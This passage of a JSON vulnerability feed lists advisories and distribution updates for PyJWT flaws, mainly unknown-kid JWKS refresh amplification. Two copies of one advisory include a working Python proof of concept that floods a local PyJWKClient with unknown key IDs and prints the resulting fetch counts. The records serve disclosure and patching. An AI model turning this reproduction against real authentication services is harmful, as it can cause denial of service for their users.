2.14.0.","status":"published","published":"2026-09-28T21:17:13.21Z","modified":"2026-10-08T10:00:27.952478841Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:48.440897Z"},{"id":"GHSA-2gx3-rcp4-g85q","title":"PyJWT: PyJWKClient still amplifies unauthenticated JWKS fetches on unknown kid values (incomplete fix of CVE-2026-48524)","description":"Summary\nCVE-2026-48524 (GHSA-fhv5-28vv-h8m8, \"PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)\") was fixed in 2.13.0 by stopping fetch_data() from clearing the cache on a fetch error. That closed one amplification path but did not add the mitigation the advisory's title implies: there is still no rate-limit, negative-cache, or minimum-refresh-interval for unknown kids.\n\nAt HEAD, get_signing_key(kid) (jwt/jwks_client.py:185-211), on any unknown kid, calls get_signing_keys(refresh=True), and refresh=True bypasses jwk_set_cache unconditionally and forces a fresh fetch_data(). The kid is read from the unverified token header (get_signing_key_from_jwt decodes with verify_signature=False), so no valid token and no authentication is required. lru_cache does not cache the raised exception, so even the same unknown kid repeated re-fetches on every call.\n\nAffected\npyjwt \u003c= 2.13.0 (the latest release; the patched release for CVE-2026-48524). No fixed version yet.\n\nProof of concept (verified on 2.13.0, cache enabled = realistic prod config)\nimport threading, http.server, socketserver, json\nfrom jwt import PyJWKClient\nhits = {'n': 0}\nJWKS = json.dumps({\"keys\":[{\"kty\":\"oct\",\"kid\":\"real\",\"k\":\"AAAA\"}]}).encode()\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        hits['n'] += 1\n        self.send_response(200); self.send_header('Content-Type','application/json'); self.end_headers()\n        self.wfile.write(JWKS)\n    def log_message(self,*a): pass\nsrv = socketserver.TCPServer(('[127.0.0.1](https://127.0.0.1/)',0), H); port = srv.server_address[1]\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\nc = PyJWKClient(f'http://127.0.0.1/:{port}[/jwks](tg://bot_command?command=jwks).json', cache_keys=True, lifespan=3600)\nfor i in range(8):\n    try: c.get_signing_key(f'attacker-unknown-kid-{i}')\n    except Exception: pass\nbefore = hits['n']\nfor _ in range(5):\n    try: c.get_signing_key('same-unknown')\n    except Exception: pass\nprint('distinct unknown kids: 8 -\u003e fetches:', hits['n'])\nprint('same unknown kid x5 -\u003e extra fetches:', hits['n'] - before)\n\nOutput:\n  distinct unknown kids: 8 -\u003e fetches: 9\n  same unknown kid x5 -\u003e extra fetches: 5\nEach unknown kid forces a fresh JWKS fetch; a repeated identical unknown kid still re-fetches every time against an unexpired cache. No rate-limit or negative-cache.\n\nImpact\nOne unauthenticated request -\u003e one outbound JWKS HTTP fetch + full JSON parse on the victim server. An attacker floods tokens carrying junk kids, so the victim hammers its own JWKS/IdP endpoint (amplification: attacker -\u003e victim -\u003e IdP), exhausting victim CPU/sockets and potentially tripping the JWKS provider's rate-limit, causing an application-wide auth outage. This is the unauthenticated DoS the parent advisory is named for, still reachable after the 2.13.0 fix.\n\nSuggested fix\nGuard the forced refresh on unknown kids: negative-cache unknown kids for a short TTL, or enforce a minimum interval between forced JWKS refreshes, so a repeated or unknown kid cannot force unbounded fetches.\n\nNote: the same-kid-repeated result (5 identical unknown kids producing 5 fetches against an unexpired cache) shows this is request amplification, not legitimate key-rotation handling, since that refresh can never succeed.\n\nReported by Babakizo (Securva).\n\n## Maintainer update — 2026-09-10\n\nThe maintainer confirmed the reported behavior against PyJWT 2.13.0. With JWKS caching\nenabled, an unknown `kid` previously forced an unconditional JWKS refresh,\nincluding when the same unknown value was repeated while the cached key set was\nstill valid. This allowed unauthenticated token headers to cause unnecessary\noutbound JWKS requests and repeated parsing work.\n\nThe fix is now on `master` in commit `ba4853a`. `PyJWKClient` now applies a\n30-second cooldown after successful JWKS fetches before permitting another\nunknown-`kid` refresh, serializes concurrent refresh decisions per client, and\nallows callers to configure or disable the cooldown. Cache-disabled behavior\nand immediate retry after failed fetches remain unchanged.\n\nRegression tests cover repeated unknown kids, cooldown expiry, concurrent\nmisses, cache-disabled operation, and invalid cooldown values. The available\nfull tox matrix, Ruff, and mypy checks pass. The fix will be included in the\nnext released 2.x version.\n\n## Maintainer update — 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.","status":"published","published":"2026-09-29T23:11:51Z","modified":"2026-10-01T17:56:20.150726241Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:46:34.338541Z"},{"id":"OESA-2026-4453","title":"python-jwt security update","description":"setup.py test %endif\r\n\r\nSecurity Fix(es):\n\nPyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT get_signing_key_from_jwt is affected because unknown kid misses force refreshes without a negative cache or minimum refresh interval. This occurs when unauthenticated tokens repeatedly use the same unknown kid or varying kid values absent from the cached JWKS. As a result, each cache miss causes PyJWKClient to refresh the JWKS. Consequently, attacker traffic can amplify outbound requests to the configured JWKS endpoint. This issue is fixed in version 2.14.0.(CVE-2026-101917)\n\nPyJWT is a Python implementation of JSON Web Token standards. From 2.0.0a1 until 2.15.0, PyJWT PyJWKClient.get_signing_key_from_jwt is affected because payload parser catches ValueError but not RecursionError. This occurs when an attacker-controlled recursively nested payload reaches json.loads. As a result, documented PyJWT exception handling does not contain the failure. Consequently, an unauthenticated request can raise an exception that may produce an HTTP 500 response. The advisory-defined affected implementation also includes jwt/api_jwt.py, verify_signature=False. This issue is fixed in version 2.15.0.(CVE-2026-101918)\n\nPyJWT is a Python implementation of JSON Web Token standards. From 2.13.0 until 2.14.0, PyJWS._load in jwt/api_jws.py is affected because parser catches ValueError but not RecursionError. This occurs when a deeply nested token header reaches json.loads. As a result, RecursionError escapes the documented PyJWT error hierarchy. Consequently, an unauthenticated malformed token can cause a request-level failure and HTTP 500. This issue is fixed in version 2.14.0.(CVE-2026-102265)\n\nPyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT signature segment is affected because signature segment decoding accepts characters outside the canonical Base64URL representation. This occurs when non-Base64URL characters are appended to a valid compact JWS signature segment. As a result, base64url_decode produces the same signature bytes for different serialized segments. Consequently, raw-token revocation checks can fail to recognize an equivalent modified token. This issue is fixed in version 2.14.0.(CVE-2026-102269)\n\nPyJWT is a Python implementation of JSON Web Token standards. From 2.1.0 until 2.15.0, PyJWT OKPAlgorithm.from_jwk in  jwt/algorithms.py is affected because private-JWK import path does not compare the public key derived from d with x. This occurs when an OKP private JWK supplies non-corresponding x and d components. As a result, identity derived from x can differ from operations performed with d. Consequently, if an integration also accepts private key parameters from a proof header without rejecting them, an attacker may use a stolen sender-constrained token without the legitimate private key. This issue is fixed in version 2.15.0.(CVE-2026-102275)","status":"published","published":"2026-10-22T14:35:19Z","modified":"2026-10-22T14:45:05.435029174Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:47.981622Z"},{"id":"OESA-2026-4455","title":"python-jwt security update","description":"setup.py test %endif\r\n\r\nSecurity Fix(es):\n\nPyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT get_signing_key_from_jwt is affected because unknown kid misses force refreshes without a negative cache or minimum refresh interval. This occurs when unauthenticated tokens repeatedly use the same unknown kid or varying kid values absent from the cached JWKS. As a result, each cache miss causes PyJWKClient to refresh the JWKS. Consequently, attacker traffic can amplify outbound requests to the configured JWKS endpoint. This issue is fixed in version 2.14.0.(CVE-2026-101917)\n\nPyJWT is a Python implementation of JSON Web Token standards. From 2.0.0a1 until 2.15.0, PyJWT PyJWKClient.get_signing_key_from_jwt is affected because payload parser catches ValueError but not RecursionError. This occurs when an attacker-controlled recursively nested payload reaches json.loads. As a result, documented PyJWT exception handling does not contain the failure. Consequently, an unauthenticated request can raise an exception that may produce an HTTP 500 response. The advisory-defined affected implementation also includes jwt/api_jwt.py, verify_signature=False. This issue is fixed in version 2.15.0.(CVE-2026-101918)\n\nPyJWT is a Python implementation of JSON Web Token standards. From 2.13.0 until 2.14.0, PyJWS._load in jwt/api_jws.py is affected because parser catches ValueError but not RecursionError. This occurs when a deeply nested token header reaches json.loads. As a result, RecursionError escapes the documented PyJWT error hierarchy. Consequently, an unauthenticated malformed token can cause a request-level failure and HTTP 500. This issue is fixed in version 2.14.0.(CVE-2026-102265)\n\nPyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT signature segment is affected because signature segment decoding accepts characters outside the canonical Base64URL representation. This occurs when non-Base64URL characters are appended to a valid compact JWS signature segment. As a result, base64url_decode produces the same signature bytes for different serialized segments. Consequently, raw-token revocation checks can fail to recognize an equivalent modified token. This issue is fixed in version 2.14.0.(CVE-2026-102269)\n\nPyJWT is a Python implementation of JSON Web Token standards. From 2.1.0 until 2.15.0, PyJWT OKPAlgorithm.from_jwk in  jwt/algorithms.py is affected because private-JWK import path does not compare the public key derived from d with x. This occurs when an OKP private JWK supplies non-corresponding x and d components. As a result, identity derived from x can differ from operations performed with d. Consequently, if an integration also accepts private key parameters from a proof header without rejecting them, an attacker may use a stolen sender-constrained token without the legitimate private key. This issue is fixed in version 2.15.0.(CVE-2026-102275)","status":"published","published":"2026-10-22T14:35:20Z","modified":"2026-10-22T14:45:05.985764214Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:47.981622Z"},{"id":"OESA-2026-4456","title":"python-jwt security update","description":"setup.py test %endif\r\n\r\nSecurity Fix(es):\n\nPyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT get_signing_key_from_jwt is affected because unknown kid misses force refreshes without a negative cache or minimum refresh interval. This occurs when unauthenticated tokens repeatedly use the same unknown kid or varying kid values absent from the cached JWKS. As a result, each cache miss causes PyJWKClient to refresh the JWKS. Consequently, attacker traffic can amplify outbound requests to the configured JWKS endpoint. This issue is fixed in version 2.14.0.(CVE-2026-101917)\n\nPyJWT is a Python implementation of JSON Web Token standards. From 2.0.0a1 until 2.15.0, PyJWT PyJWKClient.get_signing_key_from_jwt is affected because payload parser catches ValueError but not RecursionError. This occurs when an attacker-controlled recursively nested payload reaches json.loads. As a result, documented PyJWT exception handling does not contain the failure. Consequently, an unauthenticated request can raise an exception that may produce an HTTP 500 response. The advisory-defined affected implementation also includes jwt/api_jwt.py, verify_signature=False. This issue is fixed in version 2.15.0.(CVE-2026-101918)\n\nPyJWT is a Python implementation of JSON Web Token standards. From 2.13.0 until 2.14.0, PyJWS._load in jwt/api_jws.py is affected because parser catches ValueError but not RecursionError. This occurs when a deeply nested token header reaches json.loads. As a result, RecursionError escapes the documented PyJWT error hierarchy. Consequently, an unauthenticated malformed token can cause a request-level failure and HTTP 500. This issue is fixed in version 2.14.0.(CVE-2026-102265)\n\nPyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT signature segment is affected because signature segment decoding accepts characters outside the canonical Base64URL representation. This occurs when non-Base64URL characters are appended to a valid compact JWS signature segment. As a result, base64url_decode produces the same signature bytes for different serialized segments. Consequently, raw-token revocation checks can fail to recognize an equivalent modified token. This issue is fixed in version 2.14.0.(CVE-2026-102269)\n\nPyJWT is a Python implementation of JSON Web Token standards. From 2.1.0 until 2.15.0, PyJWT OKPAlgorithm.from_jwk in  jwt/algorithms.py is affected because private-JWK import path does not compare the public key derived from d with x. This occurs when an OKP private JWK supplies non-corresponding x and d components. As a result, identity derived from x can differ from operations performed with d. Consequently, if an integration also accepts private key parameters from a proof header without rejecting them, an attacker may use a stolen sender-constrained token without the legitimate private key. This issue is fixed in version 2.15.0.(CVE-2026-102275)","status":"published","published":"2026-10-22T14:35:21Z","modified":"2026-10-22T14:45:06.681086792Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T15:52:47.981622Z"},{"id":"PYSEC-2026-4140","title":"PyJWT: PyJWKClient still amplifies unauthenticated JWKS fetches on unknown kid values (incomplete fix of CVE-2026-48524)","description":"Summary\nCVE-2026-48524 (GHSA-fhv5-28vv-h8m8, \"PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)\") was fixed in 2.13.0 by stopping fetch_data() from clearing the cache on a fetch error. That closed one amplification path but did not add the mitigation the advisory's title implies: there is still no rate-limit, negative-cache, or minimum-refresh-interval for unknown kids.\n\nAt HEAD, get_signing_key(kid) (jwt/jwks_client.py:185-211), on any unknown kid, calls get_signing_keys(refresh=True), and refresh=True bypasses jwk_set_cache unconditionally and forces a fresh fetch_data(). The kid is read from the unverified token header (get_signing_key_from_jwt decodes with verify_signature=False), so no valid token and no authentication is required. lru_cache does not cache the raised exception, so even the same unknown kid repeated re-fetches on every call.\n\nAffected\npyjwt \u003c= 2.13.0 (the latest release; the patched release for CVE-2026-48524). No fixed version yet.\n\nProof of concept (verified on 2.13.0, cache enabled = realistic prod config)\nimport threading, http.server, socketserver, json\nfrom jwt import PyJWKClient\nhits = {'n': 0}\nJWKS = json.dumps({\"keys\":[{\"kty\":\"oct\",\"kid\":\"real\",\"k\":\"AAAA\"}]}).encode()\nclass H(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        hits['n'] += 1\n        self.send_response(200); self.send_header('Content-Type','application/json'); self.end_headers()\n        self.wfile.write(JWKS)\n    def log_message(self,*a): pass\nsrv = socketserver.TCPServer(('[127.0.0.1](https://127.0.0.1/)',0), H); port = srv.server_address[1]\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\nc = PyJWKClient(f'http://127.0.0.1/:{port}[/jwks](tg://bot_command?command=jwks).json', cache_keys=True, lifespan=3600)\nfor i in range(8):\n    try: c.get_signing_key(f'attacker-unknown-kid-{i}')\n    except Exception: pass\nbefore = hits['n']\nfor _ in range(5):\n    try: c.get_signing_key('same-unknown')\n    except Exception: pass\nprint('distinct unknown kids: 8 -\u003e fetches:', hits['n'])\nprint('same unknown kid x5 -\u003e extra fetches:', hits['n'] - before)\n\nOutput:\n  distinct unknown kids: 8 -\u003e fetches: 9\n  same unknown kid x5 -\u003e extra fetches: 5\nEach unknown kid forces a fresh JWKS fetch; a repeated identical unknown kid still re-fetches every time against an unexpired cache. No rate-limit or negative-cache.\n\nImpact\nOne unauthenticated request -\u003e one outbound JWKS HTTP fetch + full JSON parse on the victim server. An attacker floods tokens carrying junk kids, so the victim hammers its own JWKS/IdP endpoint (amplification: attacker -\u003e victim -\u003e IdP), exhausting victim CPU/sockets and potentially tripping the JWKS provider's rate-limit, causing an application-wide auth outage. This is the unauthenticated DoS the parent advisory is named for, still reachable after the 2.13.0 fix.\n\nSuggested fix\nGuard the forced refresh on unknown kids: negative-cache unknown kids for a short TTL, or enforce a minimum interval between forced JWKS refreshes, so a repeated or unknown kid cannot force unbounded fetches.\n\nNote: the same-kid-repeated result (5 identical unknown kids producing 5 fetches against an unexpired cache) shows this is request amplification, not legitimate key-rotation handling, since that refresh can never succeed.\n\nReported by Babakizo (Securva).\n\n## Maintainer update — 2026-09-10\n\nThe maintainer confirmed the reported behavior against PyJWT 2.13.0. With JWKS caching\nenabled, an unknown `kid` previously forced an unconditional JWKS refresh,\nincluding when the same unknown value was repeated while the cached key set was\nstill valid. This allowed unauthenticated token headers to cause unnecessary\noutbound JWKS requests and repeated parsing work.\n\nThe fix is now on `master` in commit `ba4853a`. `PyJWKClient` now applies a\n30-second cooldown after successful JWKS fetches before permitting another\nunknown-`kid` refresh, serializes concurrent refresh decisions per client, and\nallows callers to configure or disable the cooldown. Cache-disabled behavior\nand immediate retry after failed fetches remain unchanged.\n\nRegression tests cover repeated unknown kids, cooldown expiry, concurrent\nmisses, cache-disabled operation, and invalid cooldown values. The available\nfull tox matrix, Ruff, and mypy checks pass. The fix will be included in the\nnext released 2.x version.\n\n## Maintainer update — 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.","status":"published","published":"2026-10-01T16:38:40.219548Z","modified":"2026-10-01T17:45:16.6276871Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T15:52:57.255153Z"},{"id":"UBUNTU-CVE-2026-101917","description":"PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT get_signing_key_from_jwt is affected because unknown kid misses force refreshes without a negative cache or minimum refresh interval. This occurs when unauthenticated tokens repeatedly use the same unknown kid or varying kid values absent from the cached JWKS. As a result, each cache miss causes PyJWKClient to refresh the JWKS. Consequently, attacker traffic can amplify outbound requests to the configured JWKS endpoint. This issue is fixed in version 2.14.0.","status":"published","published":"2026-09-28T21:17:00Z","modified":"2026-10-27T11:45:02.738050491Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","level":"medium"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T16:55:58.519486Z"},{"id":"AZL-104982","title":"CVE-2026-101917 affecting package python-jwt for versions less than 2.15.1-1","description":"PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT get_signing_key_from_jwt is affected because unknown kid misses force refreshes without a negative cache or minimum refresh interval. This occurs when unauthenticated tokens repeatedly use the same unknown kid or varying kid values absent from the cached JWKS. As a result, each cache miss causes PyJWKClient to refresh the JWKS. Consequently, attacker traffic can amplify outbound requests to the configured JWKS endpoint. This issue is fixed in version 2.14.0.","status":"published","published":"2026-09-28T21:17:13Z","modified":"2026-11-02T14:15:52.110767691Z","updated_at":"2026-11-02T15:28:01.09948Z"},{"id":"CLSA-2026-1790839846","title":"TuxCare security update for pyjwt (6 CVEs)","description":"TuxCare rebuilt pyjwt to address 6 CVEs. Fixed in 2.10.1.post5+tuxcare.","status":"published","published":"2026-10-01T07:30:46Z","modified":"2026-10-15T09:47:42.038069757Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1790843991","title":"TuxCare security update for pyjwt (6 CVEs)","description":"TuxCare rebuilt pyjwt to address 6 CVEs. Fixed in 2.8.0.post4+tuxcare.","status":"published","published":"2026-10-01T08:39:51Z","modified":"2026-10-15T09:48:02.364278194Z","updated_at":"2026-11-02T15:43:48.65893Z"},{"id":"CLSA-2026-1791271338","title":"TuxCare security update for pyjwt (7 CVEs)","description":"TuxCare rebuilt pyjwt to address 7 CVEs. Fixed in 2.3.0.post4+tuxcare.","status":"published","published":"2026-10-06T07:22:18Z","modified":"2026-10-15T09:48:07.255854927Z","updated_at":"2026-11-02T15:43:49.016976Z"},{"id":"openSUSE-SU-2026:11994-1","title":"python313-PyJWT-2.15.1-1.1 on GA media","description":"These are all security issues fixed in the python313-PyJWT-2.15.1-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-04T00:00:00Z","modified":"2026-10-05T10:15:15.811415752Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"openSUSE-SU-2026:22074-1","title":"Security update for python-PyJWT","description":"This update for python-PyJWT fixes the following issues:\n\n- CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).\n- CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).\n- CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).\n- CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).\n- CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).\n- CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).\n- CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).\n- CVE-2026-102274: Malformed RSA JWK aborts parsing of an entire JWK Set (bsc#1283071).\n- CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key\n  (bsc#1283072).\n- CVE-2026-103001: reused mutable options mapping can cause verification checks bypass on subsequent decode calls\n  (bsc#1283829).\n","status":"published","published":"2026-10-09T12:17:21Z","modified":"2026-10-19T17:23:12.597526095Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"SUSE-SU-2026:24126-1","title":"Security update for python-PyJWT","description":"This update for python-PyJWT fixes the following issues:\n\n- CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).\n- CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).\n- CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).\n- CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).\n- CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).\n- CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).\n- CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).\n- CVE-2026-102274: Malformed RSA JWK aborts parsing of an entire JWK Set (bsc#1283071).\n- CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key\n  (bsc#1283072).\n- CVE-2026-103001: reused mutable options mapping can cause verification checks bypass on subsequent decode calls\n  (bsc#1283829).\n","status":"published","published":"2026-10-09T12:13:13Z","modified":"2026-10-13T17:23:10.206484436Z","updated_at":"2026-11-02T15:54:04.519245Z"},{"id":"SUSE-SU-2026:24134-1","title":"Security update for python-PyJWT","description":"This update for python-PyJWT fixes the following issues:\n\n- CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).\n- CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).\n- CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).\n- CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).\n- CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).\n- CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).\n- CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).\n- CVE-2026-102274: Malformed RSA JWK aborts parsing of an entire JWK Set (bsc#1283071).\n- CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key\n  (bsc#1283072).\n","status":"published","published":"2026-10-09T11:50:01Z","modified":"2026-10-15T17:23:11.683497084Z","updated_at":"2026-11-02T15:54:04.519245Z"},{"id":"SUSE-SU-2026:24219-1","title":"Security update for python-PyJWT","description":"This update for python-PyJWT fixes the following issues:\n\n- CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).\n- CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).\n- CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).\n- CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).\n- CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).\n- CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).\n- CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).\n- CVE-2026-102274: Malformed RSA JWK aborts parsing of an entire JWK Set (bsc#1283071).\n- CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key\n  (bsc#1283072).\n- CVE-2026-103001: reused mutable options mapping can cause verification checks bypass on subsequent decode calls\n  (bsc#1283829).\n","status":"published","published":"2026-10-09T12:13:13Z","modified":"2026-10-21T17:23:10.838650728Z","updated_at":"2026-11-02T15:54:04.519245Z"},{"id":"SUSE-SU-2026:24377-1","title":"Security update for python-PyJWT","description":"This update for python-PyJWT fixes the following issues:\n\n- CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).\n- CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).\n- CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).\n- CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).\n- CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).\n- CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).\n- CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).\n- CVE-2026-102274: Malformed RSA JWK aborts parsing of an entire JWK Set (bsc#1283071).\n- CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key\n  (bsc#1283072).\n- CVE-2026-103001: reused mutable options mapping can cause verification checks bypass on subsequent decode calls\n  (bsc#1283829).\n","status":"published","published":"2026-10-20T15:12:20Z","modified":"2026-10-27T17:23:19.403372208Z","updated_at":"2026-11-02T15:54:04.519245Z"},{"id":"SUSE-SU-2026:5064-1","title":"Security update for python-PyJWT","description":"This update for python-PyJWT fixes the following issues:\n\n- CVE-2026-101917: attacker traffic can amplify outbound requests to the configured JWKS endpoint (bsc#1283060).\n- CVE-2026-101918: unauthenticated request can raise an exception that may produce an HTTP 500 response (bsc#1283061).\n- CVE-2026-102267: forwarded credentials may be disclosed or verification keys may be substituted (bsc#1283064).\n- CVE-2026-102268: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283065).\n- CVE-2026-102269: raw-token revocation checks can fail to recognize an equivalent modified token (bsc#1283066).\n- CVE-2026-102270: an attacker can cause intensive CPU consumption (bsc#1283067).\n- CVE-2026-102271: an attacker who knows the public key can forge authenticated HMAC tokens (bsc#1283068).\n- CVE-2026-102275: an attacker may use a stolen sender-constrained token without the legitimate private key\n  (bsc#1283072).\n","status":"published","published":"2026-11-03T07:32:38Z","modified":"2026-11-03T22:45:04.564059533Z","updated_at":"2026-11-03T22:59:30.419462Z"},{"id":"USN-8934-1","title":"pyjwt vulnerabilities","description":"Kingsley Olukanni discovered that PyJWT did not properly handle unknown key\nidentifiers when retrieving signing keys. An attacker could possibly use\nthis issue to amplify requests to the configured key endpoint, resulting in\na denial of service. This issue only affected Ubuntu 22.04 LTS, Ubuntu\n24.04 LTS, Ubuntu 26.04 LTS and Ubuntu 26.10. (CVE-2026-101917)\n\nEkalabya Ghosh discovered that PyJWT did not properly handle certain\nrecursively nested JSON payloads. An attacker could possibly use this issue\nto cause an application to fail, resulting in a denial of service.\n(CVE-2026-101918)\n\nPedram Hayati discovered that PyJWT did not properly handle malformed RSA\nkeys in a JSON Web Key Set. An attacker could possibly use this issue to\ncause authentication failures or a denial of service. This issue only\naffected Ubuntu 22.04 LTS, Ubuntu 24.04 LTS,  Ubuntu 26.04 LTS and Ubuntu\n26.10. (CVE-2026-102274)\n\nIt was discovered that PyJWT did not properly validate certain OKP private\nkey components. An attacker could possibly use this issue to confuse the\nidentity of public and private keys, and use a stolen sender-constrained\ntoken without the legitimate private key. This issue only affected Ubuntu\n22.04 LTS, Ubuntu 24.04 LTS, Ubuntu 26.04 LTS and Ubuntu 26.10.\n(CVE-2026-102275)","status":"published","published":"2026-10-19T19:00:51Z","modified":"2026-10-27T11:56:51.36453097Z","updated_at":"2026-11-02T16:58:26.907654Z"}]}}
